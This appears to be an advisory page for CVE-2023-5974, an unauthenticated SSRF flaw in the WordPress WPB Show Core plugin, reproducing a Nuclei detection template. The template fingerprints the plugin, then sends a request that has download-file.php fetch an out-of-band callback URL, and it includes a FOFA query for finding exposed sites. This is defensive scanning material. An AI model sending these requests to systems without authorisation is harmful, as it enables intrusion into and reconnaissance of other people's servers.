CVE-2023-5974: WordPress WPB Show Core <= 2.2 - Server-Side Request Forgery

2025-08-01 WordPress WPB Show Core PoC Public

Description

The WPB Show Core WordPress plugin through version 2.2 is vulnerable to Server-Side Request Forgery (SSRF) via the 'path' parameter in the download-file.php script. This vulnerability allows unauthenticated attackers to make the server perform requests to arbitrary URLs.

PoC

id: CVE-2023-5974

info:
  name: WordPress WPB Show Core <= 2.2 - Server-Side Request Forgery
  author: ritikchaddha
  severity: critical
  description: |
    The WPB Show Core WordPress plugin through version 2.2 is vulnerable to Server-Side Request Forgery (SSRF) via the 'path' parameter in the download-file.php script. This vulnerability allows unauthenticated attackers to make the server perform requests to arbitrary URLs.
  impact: |
    Unauthenticated attackers can perform SSRF attacks via the path parameter, potentially accessing internal resources or scanning internal networks.
  remediation: |
    Update WPB Show Core plugin to a version newer than 2.2.
  reference:
    - https://wpscan.com/vulnerability/c0136057-f420-4fe7-a147-ecbec7e7a9b5
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5974
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-5974
    cwe-id: CWE-918
    epss-score: 0.0315
    epss-percentile: 0.87289
    cpe: cpe:2.3:a:wpb_show_core_project:wpb_show_core:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wpb-show-core-project
    product: wpb-show-core
    fofa-query: body="wp-content/plugins/wpb-show-core/"
  tags: cve,cve2023,wp,wordpress,wp-plugin,ssrf,wpb-show-core,oast,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "wpb-show-core"
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/wpb-show-core/download-file.php?path=http://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
# digest: 4a0a004730450221008bc143ea384a1592587d61e3f0a23b38a935d7b3333651f24c293ae62e14a5c302205360db0d826b973af96218360d8292ac766e3cc9a2c3a38a679e1506651ca120:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-5974.yaml

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